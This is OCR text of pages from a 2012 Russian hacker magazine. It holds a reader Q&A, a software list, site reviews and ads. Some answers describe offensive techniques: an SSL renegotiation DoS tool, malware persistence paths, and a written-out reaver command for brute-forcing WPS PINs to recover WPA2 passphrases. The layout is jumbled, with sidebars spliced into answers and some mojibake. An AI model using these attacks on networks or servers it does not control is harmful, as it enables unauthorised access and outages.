UNITS / FAQ UNITEDСтепан Ильин (twtitter.com/stepah)FAQ UnitedЕСТЬ ВОПРОСЫ — ПРИСЫЛАЙНА FAQ@REAL.XAKEP.RUПОСЛЕДНЕЕ ВРЕМЯ ВСЕ ЧАЩЕQ ГОВОРЯТ О ПЕРЕХВАТЕ ДАННЫХ,КОТОРЫЕ ПЕРЕДАЮТСЯ НЕ ТОЛЬКОПО SSL (КСТАТИ, СПАСИБО ВАМЗА КЛАССНЫЕ МАТЕРИАЛЫ В #11/11НОМЕРЕ), НО И НА САМ SSL-ДЕМОН. ЕСТЬДАЖЕ УТИЛИТА THC-SSL-DOS (WWW.THC.ORG/THC-SSL-DOS) ДЛЯ ВЫЗОВА ОТКАЗАВ ОБСЛУЖИВАНИИ. В ЧЕМ СОЛЬ? ВЕДЬTHC ФИГНЮ НЕ РЕЛИЗИТ!Идея вызвать DDoS SSL-демона довольноA проста. Суди сам: установка защищенногоSSL-соединения требует на сервере в 15 разбольше ресурсов, чем на клиенте. Соответственно,THC-SSL-DOS (www.thc.org/thc-ssl-dos)использует эту пропорцию, чтобы вызвать отказв обслуживании. На деле используется всегоодин TCP-пакет, чтобы начать процесс SSLhandshakes с сервером. Та версия утилиты,которая доступна в паблике, может вызватьDDoS тех сервисов, которые поддерживаютустановку соединения со стороны клиента(client-initiated renegotiations). Выяснить этоможно с помощью другой утилиты sslyze (code.google.com/p/sslyze):python sslyze.py --reneg www.server.com:443Если в графе напротив client-initiatedrenegotiations будет значение Honored, значит,сервис уязвим. По словам разработчиков,сегодня проблема затрагивает все реализацииSSL (хотя известно о ней еще с 2003 года).Если это так, то уязвимы и те сервисы, которыеподдерживают так называемую процедуруSecure Renegotiation, однако, в паблике эксплоитанет. Утилита sslyze выполняет такженесколько других проверок уровня безопасностиSSL: позволяет выявить использованиеслабых шифров, определяет версию протокола(SSLv2, SSLv3 и TLSv1) и проводит валидациюсертификата.ЧИТАЛ ГДЕ-ТО, ЧТО ВИНЧЕСТЕРЫQ ДЛЯ СЕРВЕРОВ ДЕЛАЮТСЯ БОЛЕЕНАДЕЖНЫМИ (СНИЖЕННАЯ СКОРОСТЬВРАЩЕНИЯ ДИСКОВ, БОЛЕЕ СТРОГАЯПРОВЕРКА НА ВСЕХ ЭТАПАХПРОИЗВОДСТВА И Т. Д.). ВОПРОС: А ЕСТЬЛИ В ПРОДАЖЕ ВНЕШНИЕ НАКОПИТЕЛИНА 2,5-ДЮЙМОВЫХ ВИНЧЕСТЕРАХ(ПРЕДНАЗНАЧЕННЫХ ДЛЯ СЕРВЕРОВ)ИЛИ ЖЕ В СЕРВЕРАХ ИСПОЛЬЗУЮТСЯТОЛЬКО 3,5-ДЮЙМОВЫЕ ЖЕСТКИЕДИСКИ?Среди жестких дисков формфактораA 2,5", в отличие от 3,5-дюймовых жесткихдисков, производители не выделяют моделиповышенной надёжности. Серверные дискиформфактора 2,5" существуют, как и корзиныпод них, но все они относятся к типу SAS (SerialAttached SCSI) и немного толще обычных.Получить 2,5-дюймовый серверный SATA-дискможно, взяв HDD семейства Western DigitalVelociRaptor, который представляет собой3,5-дюймовый радиатор с прикреплённымк нему 2,5-дюймовым диском, и отсоединитьсам диск. При этом могут возникнуть проблемыс перегревом. И хотя практический опытпоказывает, что отдельные экземпляры могутпродолжительное время нормально работатьбез радиаторов, помни, что ты делаешь этона свой страх и риск и дополнительноеохлаждение всё-таки желательно. К слову,о дисках повышенной надёжности. Специалистыпо восстановлению данных не зафиксировалиболее-менее заметной повышеннойнадёжности у 3,5-дюймовых дисков, которыепозиционируются производителями как дискиповышенной надёжности.ВЫ УЖЕ ДОВОЛЬНО МНОГО ПИСАЛИQ ПРО ЗЛОВРЕД, КОТОРЫЙПРОПИСЫВАЕТ СЕБЯ В WINDOWS-СИСТЕМЫ. В БОЛЬШИНСТВЕ СЛУЧАЕВ ЯПРЕДСТАВЛЯЮ, ГДЕ ИСКАТЬ СЛЕДЫМАЛВАРИ. НО ВОТ ГДЕ МОЖЕТПРОПИСАТЬ СЕБЯ ВИРУС В СИСТЕМАХLINUX И OS X, ЧТОБЫ ОСТАТЬСЯВ СИСТЕМЕ ПОСЛЕ ПЕРЕЗАГРУЗКИ?AВ UNIX-системах его нужно искатьв следующих папках:/var/at/tabs//etc/ttys/etc/profile/etc/bashrc/etc/csh.cshrc/etc/csh.login5 ШАГОВ: ИСПОЛЬЗУЕМ DROPBOX КАК БЕСПЛАТНЫЙ ХОСТИНГДовольная бредовая идея — использоватьDropbox для хостинга — работаети набирает популярность. А что?Никакой мороки с регистрацией, никакогогеморроя с редактированием файлови отправкой их на сервер (все делается внутрипапки Dropbox), у сервиса практическигарантированный аптайм 99,9 % (спасибоAmazon S3) — короче говоря, почему бы и нет?1 2Проще всего, конечно, со статическимсайтом. Ты просто берешь все файлыпроекта (HTML, CSS, JavaScriptсценарии)и забрасываешь их в директориюPublic, после чего получаешь через контекстноеменю public-линк для домашней страницы(скажем, index.html) вроде этого:http://dl.dropbox.com/u/21310/site/index.html.Казалось бы, если следовать логике,то при открытии этой ссылки пользователюбудет предложено скачатьindex.html. Но нет. Dropbox устроен так, чтобудет отдавать такой контент, как и любой другойхостинг. Страница откроется! Некрасивуюссылку можно сократить с помощью сервисатипа bit.ly и ему подобных.138ХАКЕР 02 /157/ 2012


FAQ UNITED/etc/rc.common~/.profile~/.bashrcВ OS X он может скрываться здесь:/System/Library/LaunchDaemons/System/Library/Extensions/Library/LaunchDaemons/System/Library/LaunchAgents/Library/LaunchAgents/Library/StartupItems/Library/Preferences/loginwindow.plist~/Library/LaunchAgents~/Library/Preference/loginitems.plist~/Library/Preference/loginwindows.plistНо это, скорее, касается зловреда, которыйработает в user mode. Изящно написаннаямалварь может сделать бэкдор прямо в ядресистемы:/System/Library/Caches/com.apple.kernelcaches/System/Library/Filesystems/AppleShare//System/Library/Filesystems/hfs.fs/Encodings/А еще более искусно созданные образцызадействуют расширения EFI (актуально длясовременных Mac'ов, построенных на платформеIntel).СДЕЛАЛ АПГРЕЙД И ПРИОБРЕЛQ СЕБЕ SSD ДЛЯ СИСТЕМНОГО ДИСКА.ЗАНОВО СИСТЕМУ СТАВИТЬ НЕ ХОЧУ,ПОЭТОМУ СОБИРАЮСЬ СДЕЛАТЬ КЛОН.СЛЫШАЛ, ЧТО ЕСЛИ СТАВИТЬ WINDOWS 7НА SSD, ТО УСТАНОВЩИК САМ ПОПРАВИТКАКИЕ-ТО ПАРАМЕТРЫ. ПОДОЗРЕВАЮ,ЧТО В СЛУЧАЕ КЛОНИРОВАНИЯ ЭТОГОНЕ ПРОИЗОЙДЕТ. ТАК ЧТО ЖЕ НАДОСДЕЛАТЬ, ЧТОБЫ SSD НЕ УМЕР УЖЕЧЕРЕЗ ГОД?БОЛЬШОЙ ВОПРОСQСУЩЕСТВУЮТ ЛИ БОЛЕЕ ЭФ-ФЕКТИВНЫЕ СПОСОБЫ ВЗЛОМАБЕСПРОВОДНОЙ WI-FI-СЕТИ,ЗАЩИЩЕННОЙ WPA/WPA2? МЫ ЖЕ ВСЕПОНИМАЕМ, ЧТО ПРИ ДОСТАТОЧНОЙСЛОЖНОСТИ И ДЛИНЕ ПАРОЛЬНОЙФРАЗЫ ПЕРЕБОР МОЖЕТ ДЛИТЬСЯВЕЧНО.АДо недавнего времени я бы сказал,что никаких других способовподключиться к защищеннойбеспроводной сети, кроме как использоватьбрутфорс, не существует. Собственно,способы взлома непосредственно WPA/WPA2 остались неизменными, однакополучить доступ к защищенной беспроводнойсети можно, воспользовавшисьобходным путем, но только в том случае,если в ней применяется очень популярнаясегодня технология WPS. Напомню,что Wi-Fi Protected Setup — это стандарт,который позволяет легко установить домазащищенную беспроводную сеть на базеWPA2. Идея в том, что пользователюне нужно заморачиваться с настройкойзащиты и вводом длинных парольныхфраз, когда он добавляет в беспроводнуюсеть новое устройство, — весь процессмаксимально упрощается. Используютсявосьмизначные PIN-коды. До недавнеговремени эта технология считаласьбезопасной, но в декабре сразу несколькоисследователей безопасности рассказалио неустранимых промахах в ее структуре(то есть фактически в устройстве), которыеможно эксплуатировать. Протокол WPSоказался уязвимым к брутфорс-атакам,которые позволяет злоумышленнику подобратьWPS PIN, используемый точкойдоступа, и, соответственно, парольнуюфразу WPA/WPA2, причем, что очень важно,всего за нескольких часов! Уязвимость«живет» на самом низком уровне, в самомпротоколе. Это промах его разработчиков.В паблике доступна утилита Reaver (bit.ly/uAaS67), которая уже работает вполнестабильно и протестирована для большинстваточек доступа и реализаций протоколаWPS. Использовать ее очень просто:нужно лишь указать целевую BBSID (ееMAC-адрес) и интерфейс (который предварительнонужно перевести в режиммонитора), который будет слушать эфир:reaver -i mon0 -b 00:01:02:03:04:05Помимо этого, автор предлагает коммерческуюверсию с несколькими полезнымифичами и улучшениями, касающимисяскорости подбора. Атаковать можнопрактически любой современный роутер,в котором WPS включена по умолчанию,— это миллионы девайсов по всемумиру! Более подробнее об атаке тыможешь прочитать в этом документе: bit.ly/uAaS67. Помимо reaver, есть еще одинPoC (bit.ly/u3mTXF), реализующий атаку,но эта утилита пока работает не со всемиWi-Fi-адаптерами.Чтобы минимизировать износ диска,A производители советуют снизитьколичество операций записи. Windows 7довольно умна в этом плане и сама умеетотключать механизмы, которые частопроизводят запись (например, Superfetch илиApplication launch prefetching). Как ОСотреагирует после клонирования, сложноДля подключения к сети WPS используется восьмизначный PIN. Сначала брутфорсится его первая часть, потомвторая, и в конце концов извлекается парольная фраза WPA2!3 4 5Увы, динамические сценарии на такомхостинге выполнить не получится,а вот прикрутить CMS можно благодарясервису droppages.com. Скачиваемс последнего тему для сайта (например, demo.droppages.com.zip), после чего распаковываемархив в папку вроде your_site.droppages.com.Очень скоро здесь будет сайт.Структура состоит из трех папок:Content (контент сайта в текстовомвиде), Public (статический контент)и Templates (HTML-файлы, используемые дляоформления страницы). Ты можешь настроитьшаблоны под себя и разметить текст (в папкеContent) с помощью специальной разметки иключевых слов.Далее используем стандартную возможностьдля расшаривания папоки предоставляем доступ server1@droppages.com. После этого сервис сможетобрабатывать твои файлы с контентом и шаблонамии отдавать сформированные HTMLстраницы.За небольшую денежку можнодаже привязать сайт к домену.ХАКЕР 02 /157/ 2012 139


UNITS / FAQ UNITEDсказать, поэтому рекомендую проверитьзначения параметров EnableSuperfetchи EnablePrefetcher в веткеHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters. Некоторыетакже рекомендуют отключить очисткуswap-файла. Делается это в разделе HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Memory Management\: нужно задатьключу ClearPageFileAtShutdown значение 0.Помимо этого, нужно убедиться, что работаеткоманда TRIM, позволяющая операционной системеуведомлять твердотельный накопительо том, какие блоки данных больше не используютсяи могут быть очищены накопителем самостоятельно.Выяснить это можно с помощьюкоманды:fsutil behavior query DisableDeleteNotifyЕсли в выводе значение DisableDeleteNotify,значит, TRIM включен. Но только на уровнеОС. Поэтому надо убедиться, что TRIM поддерживаетсядрайвером (чаще всего RAIDконтроллераили стандартного MSAHCI).МОЖНО ЛИ С ПОМОЩЬЮ PYTHON-Q СКРИПТОВ АВТОМАТИЗИРОВАТЬПОСЛЕДОВАТЕЛЬНОСТЬ ДЕЙСТВИЙВ WINDOWS-СИСТЕМЕ?Готовых решений для Python'а не так ужA и много. Среди полезных библиотекможно выделить pywinauto (code.google.com/p/pywinauto), которая специально предназначенадля GUI-автоматизации. Сценарииполучаются очень наглядными и не требуюткомментариев:from pywinauto import applicationapp = application.Application.start("notepad.exe")app.Notepad.MenuSelect("Help->About Notepad")app.AboutNotepad.OK.Click()app.Notepad.Edit.TypeKeys ("pywinauto Works!", with_spaces=True)Подробный мануал есть на офсайте(pywinauto.googlecode.com/hg/pywinauto/docs/index.html). Установить библиотеку тоже не составиттруда:1. Распаковать архив.2. Запустить python.exe setup.py install.3. Установить PIL (www.pythonware.com/products/pil/index.htm).4. Установить elementtree (effbot.org/downloads).Уязвимый к DDoS SSL-демонВО ВРЕМЯ ПРЕЗЕНТАЦИЙ ЧАСТОQ ВИДЕЛ, КАК ДОКЛАДЧИКНАЖИМАЕТ КАКОЙ-ТО ХОТКЕЙИ УВЕЛИЧИВАЕТ ОПРЕДЕЛЕННУЮ ЧАСТЬЭКРАНА, ЧТОБЫ ПРОДЕМОНСТРИРОВАТЬЧТО-ТО В ДЕТАЛЯХ. КАК ЭТО ДЕЛАЕТСЯ?Проще всего использовать утилитуA ZoomIt (bit.ly/uULr0d) от Марка Руссиновича.Она тихо сидит в трее и как раз по хоткеюувеличивает выбранную часть экрана. Помимоэтого, на увеличенном изображении можносразу что-то нарисовать.КАК МОЖНО НАСТРОИТЬ ФАЙЕРВОЛQ В LINUX, ЧТОБЫ ПРЕДОТВРАТИТЬБРУТФОРС-АТАКИ НА SSH?Никогда бы не подумал, что столькоA людей пытаются сбрутфорсить парольдля SSH-демона никому не нужного сервера,пока не посмотрел в его логи. Несколько тысячнеудачных попыток входа каждый день —вполне традиционная картина. Большинствотаких попыток можно отсечь, просто перенесядемон на какой-нибудь нестандартный порт(со стандартного 22). Другой вариант — правильнонастроить iptables. Опытные линуксоидырекомендуют следующий рецепт:iptables -P INPUT DROPiptables -A INPUT -m state \--state ESTABLISHED,RELATED -j ACCEPTiptables -A INPUT -p tcp -m tcp \--dport 22 -m state --state NEW \-m recent --set --name SSHiptables -A INPUT -p tcp -m tcp \--dport 22 -m state --state NEW \-m recent --update --seconds 60 \--hitcount 4 --rttl --name SSH -j DROPiptables -A INPUT -p tcp -m tcp \--dport 22 -m state --state NEW -j ACCEPTПосле этого хосты, пытающиеся перебиратьпароль, будут блокироваться: все IP из черногосписка будут фиксироваться в файле /proc/net/ipt_recent/SSH.С НЕДАВНЕГО ВРЕМЕНИ (К СЛОВУ,Q ПОСЛЕ ПРОЧТЕНИЯ СТАТЬИ«GIT&&GITHUB: С МЕСТА В КАРЬЕР»)НАЧАЛ ИСПОЛЬЗОВАТЬ СИСТЕМУУПРАВЛЕНИЯ ВЕРСИЯМИ GIT. НО МЕНЯУБИВАЕТ, ЧТО ДЛЯ РЕДАКТИРОВАНИЯСООБЩЕНИЙ ДЛЯ COMMIT'ОВ ДАЖЕ ПОДWINDOWS НЕОБХОДИМО ИСПОЛЬЗОВАТЬНИКСОВЫЙ VIM. КАК БЫ ВМЕСТО НЕГОИСПОЛЬЗОВАТЬ ЧТО-НИБУДЬ БОЛЕЕПРИВЫЧНОЕ?Для подключения к WPA2-сети с помощью WPS достаточноввести восьмизначный PIN. И его можно сбрутфорсить!Советую тебе скачать GitPad (https://A github.com/github/gitpad). Это небольшоеприложение, которое конфигурирует системутак, чтобы в качестве стандартного редактораиспользовался самый обычный «Блокнот».Можно подключить, скажем, Notepad++. Дляэтого внесем изменения в конфиг Git'а:git config --global core.editor \"'C:\\Program Files (x86)\\Notepad++\\notepad++.exe' -multiInst -notabbar-nosession -noPlugin"НУЖНО СГРАББИТЬ ДАННЫЕQ С НЕКОТОРОГО САЙТА, КОТОРЫЕ ОНВЫДАЕТ В РЕЗУЛЬТАТЕ ПОИСКА ПОСЛЕВВОДА НЕКОТОРЫХ ПАРАМЕТРОВ. МОЖНОЛИ ОБОЙТИСЬ БЕЗ ПРОГРАММИРОВАНИЯ?Самый крутой способ, который меняA не раз выручал — это воспользоватьсясервисом open.dapper.net от Yahoo. Подходудивляет своей простотой:1. Ты указываешь сервису URL-сайта, с которогохочешь извлечь информацию. Dapper.netоткрывает его внутри своего собственногодвижка и приступает к анализу.2. Далее ты осуществляешь нужные переходыпо сайту и, главное, отмечаешь те поля, которыенеобходимо заполнить. Каждому из нихможно задать имя, скажем, «variable 1» —когда будешь запускать скрипт, ты сможешьуказать его значения.3. В конце концов, когда появляются элементысайта с нужными данными, ты обозначаешьструктуру. Если, скажем, это выборкафильмов, то кликаешь на название фильмаи в поле вписываешь «Название фильма»,далее кликаешь на рейтинг и добавляешьновый элемент «Рейтинг» в структуру и т. д.4. Последний штрих — это экспорт данных.Можно оформить извлеченные данныев виде RSS и подписаться на них внутрисвоего RSS-ридера (таким образом, этоидеальный способ превратить любой сайтв RSS-ленту), а можно, скажем, простоэкспортировать все в XML и использоватьсграбленные данные в своих проектах.Увы, некоторые сайты банят робота dapper.net и автоматизировать их так просто ужене удается. z140ХАКЕР 02 /157/ 2012


030 GOOGLE <strong>CHROME</strong> 09 (152) 2011ÏÐÀÂÈËÜÍÛÅ ÕÀÊÈÄËß ÈÍÒÅÐÔÅÉÑÀWINDOWS 7ÂÇËÎÌ PHPMYADMINÑ ÏÎÌÎÙÜÞ ÍÎÂÎÃÎ ÁÀÃÀ 064ÌÎÁÈËÜÍÀß ÌÀËÂÀÐÜÄËß ÏËÀÒÔÎÐÌÛ ANDROID 070ÏÐß×ÅÌ, ÎÁÔÓÑÖÈÐÓÅÌÈ ÊÐÈÏÒÓÅÌ JAVASCRIPT 050082ПодпискаГОДОВАЯЭКОНОМИЯ500 руб.1. Разборчиво заполни подписной купон и квитанцию,вырезав их из журнала, сделав ксерокопиюили распечатав с сайта shop.glc.ru.2. Оплати подписку через любой банк.3. Вышли в редакцию копию подписных документов— купона и квитанции — любым изнижеперечисленных способов:• на e-mail: subscribe@glc.ru;• по факсу: (495) 545-09-06;• почтой по адресу: 115280, Москва,ул. Ленинская Слобода, 19, Омега плаза,5 эт., офис № 21,ООО «Гейм Лэнд», отдел подписки.ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИОПЛАТУ В СЕНТЯБРЕ, ТО ПОДПИСКУМОЖНО ОФОРМИТЬ С НОЯБРЯ.ЕДИНАЯ ЦЕНА ПО ВСЕЙ РОССИИ. ДОСТАВКАЗА СЧЕТ ИЗДАТЕЛЯ, В ТОМ ЧИСЛЕ КУРЬЕРОМПО МОСКВЕ В ПРЕДЕЛАХ МКАД12 НОМЕРОВ — 2200 РУБ.6 НОМЕРОВ — 1260 РУБ.УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬЖУРНАЛ НАМНОГО ДЕШЕВЛЕ!x 09 (152) 2011 LULZSEC / FOX NEWS 152 : 210 .LULZSEC :, ,FOX NEWSПРИ ПОДПИСКЕНА КОМПЛЕКТ ЖУРНАЛОВЖЕЛЕЗО + ХАКЕР + 2 DVD: —ОДИН НОМЕР ВСЕГО ЗА 162 РУБЛЯ(НА 35% ДЕШЕВЛЕ, ЧЕМ В РОЗНИЦУ)ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ (24 НОМЕРА)ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ (12 НОМЕРОВ)ЕСТЬ ВОПРОСЫ? Пиши на info@glc.ru или звони по бесплатным телефонам8(495)663-82-77 (для москвичей) и 8 (800) 200-3-999 (для жителейдругих регионов России, абонентов сетей МТС, БиЛайн и Мегафон).ПРОШУ ОФОРМИТЬ ПОДПИСКУНА ЖУРНАЛ «ХАКЕР»


x№ 02(157) ФЕВРАЛЬ 2012>>WINDOWS>DevelopmentAdventure Game Studio 3.2.1Batch Compiler 1.0BinScope Binary Analyzer 0.0.1dotPeek 1.0Expert Debugger 3.2FMOD Ex 4.38.05JoeBlogs 1.0MiniFuzz 1.5.5.0NVIDIA Parallel Nsight 2.1NVIDIA PerfKit 6.70PeStudio 3.54QuickPHP 1.14.0QuickSharp 2.0Resource .NET 3.0SQL Prompt 5.2XDebug 2.1.2>Misc7Files 0.38Start 3.0bcWebCam 2.1.0.3Cathy 2.28.3Clipboard SaverCoolbarz 0.1.6.7Dictation Pro 0.91Executor 0.99.11FocusWriter 1.3.5.1gBurner Virtual Drive 3.1Gizmo Toolbar 2.5.0NppDocShare 0.1Soda 3D PDF ReaderTiles 0.98WindowSlider 0.3XWidget 1.2.3>MultimediaAntenna 1.5.0Artweaver Free 3.0.1Avidemux 2.5.5CamStudio 2.0GreenForce-Player 1.11JingMoo0 AudioTypeConverter 1.24Nepflex Screen Recorder 1.4.0.4PhotoLikr 1.2Screenpresso 1.3.0Sublight 3.0.0Trout 1.0.6UMPlayer 0.98VideoSpin 2.0VirtualDub 1.10.1YACReader 0.4.0>NetComodo Unite 3.0.2.0FtpUse 2.0Image Picker 1.0.0Insync 0.9.5Joukuu Lite 1.3.3.3KumoSync 1.1.1Mikogo 4.0MultiMi 0.9.29Remote Desktop ManagerRemote Potato 1.0.6The E-Mail Client 1.03Tixati 1.74WebReader 0.8.80 betaWLAN Optimizer 0.21Yoono desktop 1.8.16>SecurityActivity Monitor 1.05Artillery 0.2Autopsy 3.0.0b2Cain & Abel 4.9.43Comodo Cleaning Essentials 1.6Echo Mirage 1.2Ettercap 0.7.4HeimdalIdentity FinderImmunity Debugger 1.84IOCTL Fuzzer 1.3MysqlPasswordAuditor 1.0Net2SharePwn 1.0bNTO SQL InvaderoSpy 1.10.4Radare2 0.9RainbowCrack 1.5Scrapy 0.14SSLyze 0.3The Mole 0.2.6Toolwiz Care 1.0Wavsep 1.1.0WeBaCoo 0.2WinAPIOverride32 5.5.3XSSer v1.6b>SystemAllOff 3.4BlueStacksClipboardic 1.10D7 4.9.6DiskAlarm 1.2.4370DisplayFusion 3.4.0Gow 0.5.0iCare Data Recovery ProfessionaliPadianOSFMount 1.5.1008Patch My PC 2.0.6.3RMPrepUSB 2.1.630SaBackup 0.9.3.3Track Folder Changes 1.1Win7AudioSwitcherWinArchiver Virtual Drive 2.7>>UNIX>DesktopBluetile 0.6Bombonodvd 1.2.0Calibre 0.8.31Cinepaint 1.0Darktable 0.9.3Dupeguru_me 6.2.0Ffmpeg 0.9Gnomesubtitles 1.2Lives 1.4.9Nightingale 1.8.1Pdfmasher 0.6.3Qtractor 0.5.2Qx11grab 0.2.6Razor-qt 0.4Smillaenlarger 0.9.0Sweethome3d 3.3Synfig 0.63.03Veusz 1.14>DevelBluefish 2.2.0Buildbot 0.8.5Codelite 3.0.0.5041Eigen 3.0.4Eric 5.1.7Fastutil 6.4.2Getid3 1.9.2Gral 0.8Ideaic 11Lazarus 0.9.30.2Libqrencode 3.2.0Libutillery 1.7.0Llvm 3.0Odbcpp 1.6Pantheios 1.0.1b213Sourcesquare 23122011Tcpdf 5.9.141Text-tokenizer 0.4.5Ultimatepp 4193>GamesEternallands 1.9.2Gigalomania 0.21Pioneer alpha17>NetAdchpp 2.8.0Ahcpd 0.53Babel 1.3.0Bitflu 1.39Clawsmail 3.8.0Deluge 1.3.3Emesene 2.11.11Getmail 4.24.0Gnunet 0.9.0Jitsi 1.0b1Movgrab 1.1.5Mulk 0.6.0Opera 11.60Pidgin 2.10.1Quamachi 0.6.0Quban 0.2.2Surrogafier 1.9.1bXplico 0.7.0>SecurityAndroguard 1.0-rc1Android WebContentResolverAngryip 3.0b6Artillery 0.2 AlphaAutopsy 3.0.0b2Bokken 1.5CSRFScanner 1.0ELFkickers 3.0Ettercap 0.7.4Fwsnort 1.6.1Gnutls 3.0.9Keepass 2.17ModSecurity 2.6.3-rc1Opendnssec 1.3.4Radare2 0.9Stunnel 4.50The Mole 0.2.6XSSer v1.6bXssScanner 1.1>ServerApache 2.2.21Asterisk 10.0.0Bind 9.8.1-p1Cups 1.5.0Dhcp 4.2.3-p1Dovecot 2.0.16Freeradius 2.1.12Lighttpd 1.4.30Mysql 5.5.19Nsd 3.2.9Openldap 2.4.28Openvpn 2.2.2Postfix 2.8.7Postgresql 9.1.2Pure-ftpd 1.0.35Samba 3.6.1Sendmail 8.14.5Snort 2.9.2Sqlite 3.7.9Squid 3.1.18Syslog-ng 3.3.3Vsftpd 2.3.5>SystemBochs 2.5Cemosshe 11.12.06Debreate 0.7.7Kmod 1Linux 3.1.6Nxlog 1.2.494Pam_mount 2.13Powertop 1.8Qemu 1.0Rpmerizor 2.6Rtirq 20111007Sali 2.4.11Tpe-lkmXf86-video-ati 6.14.3Zsh 4.3.14>X-DistrLinux Mint 12Pfsense 2.0.1>>MACArgoUML 0.34CoRD 0.5.5DesktopShelves 1.4.2DiffMerge 3.3.2dupeGuru ME 6.2.0EasyFind 4.8.1Folx 2.0.1028keka 0.1.4.3Lion Secrets 1.2.0Mini vMac 3.2.3Mixxx 1.9.2ShareIt 1.0Soundcloud Downloader 2.0Task Coach 1.3.3Time Out 1.6.3Vox 0.3 beta 1XnViewMP 0.39


WWW2Музыка бесплатноZ-MUSICz-music.orgПятнадцать треков в день — ровно столько позволяет прослушать без приобретенияпремиального аккаунта когда-то бесплатный prostopleer.com. Z-music — это егополный аналог, который пока находится в стадии становления и никаких денежекне берет. Поэтому ты можешь без каких-либо ограничений искать музыку, слушать ееонлайн и загружать себе на диск. Источником музыки, как и в случае с prostopleer.com, являются социальные сети, куда пользователи пока без всякого зазрения совеститерабайтами заливают треки. Z-music агрегирует песни, которые находятся в ротациипопулярных радиостанций, и позволяет удобно прослушивать треки из эфира, скажем,радио Maximum.BitTorrent-клиент онлайнBITLETbitlet.orgПолноценный торрент-клиент, работающий в браузере. Он используется точно также, как и любая десктопная программа. Выбери torrent-файл на диске или укажи URLфайла, задай место для сохранения данных и наблюдай за неторопливой загрузкой.Код BitLet полностью написан на Java, поэтому для его работы в браузере должен бытьустановлен плагин Java VM. Скорость загрузки, однако, очень непредсказуема и иногдаоставляет желать лучшего. В этом случае можно попробовать другой достойныйонлайн-клиент для сети BitTorrent — torrific alpha (www.torrific.com). Правда, бесплатныйаккаунт позволяет загрузить всего несколько гигабайт данных.Универсальный декомпиляторSHOWMYCODEwww.showmycode.comКак декомпилировать CLASS-файлы, чтобы достать исходный код из Java-бинарника?Как получить оригинальные PHP-файлы, которые были пропущены через крипторZend Guard? Как вытащить ActionScript-код из флешового swf-файла? С помощью чегодекомпилировать .NET-приложение и извлечь его сорцы на С#, Visual Basic .NET, J#,Visual C++ .NET? На все эти вопросы можно дать один ответ — попробовать онлайнсервисShowMyCode. По сути, это обертка для Java Decompiler, SWF Decompiler, Dis#и других узкоспециализированных stand-alone-приложений, которые можно было быиспользовать в этих случаях. В качестве бонуса ShowMyCode предлагает анализаторQR-кодов.Онлайн-олимпиада для программистовINTERVIEW STREETwww.interviewstreet.comСборник любопытных задачек для программистов с автоматической системой проверкирешения. Предложив решение на одном из 11 языков (C++, Python, PHP, Java и т.д.), можно легко попасть на работу в Силиконовую долину. Дело в том, что InterviewStreet сотрудничает с крупнейшими IT-компаниями (например, с Facebook и Amazon),подгоняя им наиболее талантливых программистов. Это такой бизнес. Interview Streetвключает всех программистов, решающих задачки, в большую базу и получает $10000за каждого принятого на работу. Благодаря такому подходу начинающая индийскаякомпания уже неплохо зарабатывает.ХАКЕР 02 /157/ 2012 143


UNITS / GEEK ARTФото: Ексей Пантелеев (exeypanteleev.com), модель: Светлана Новикова.144


codingÐåêëàìà


CODINGАЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!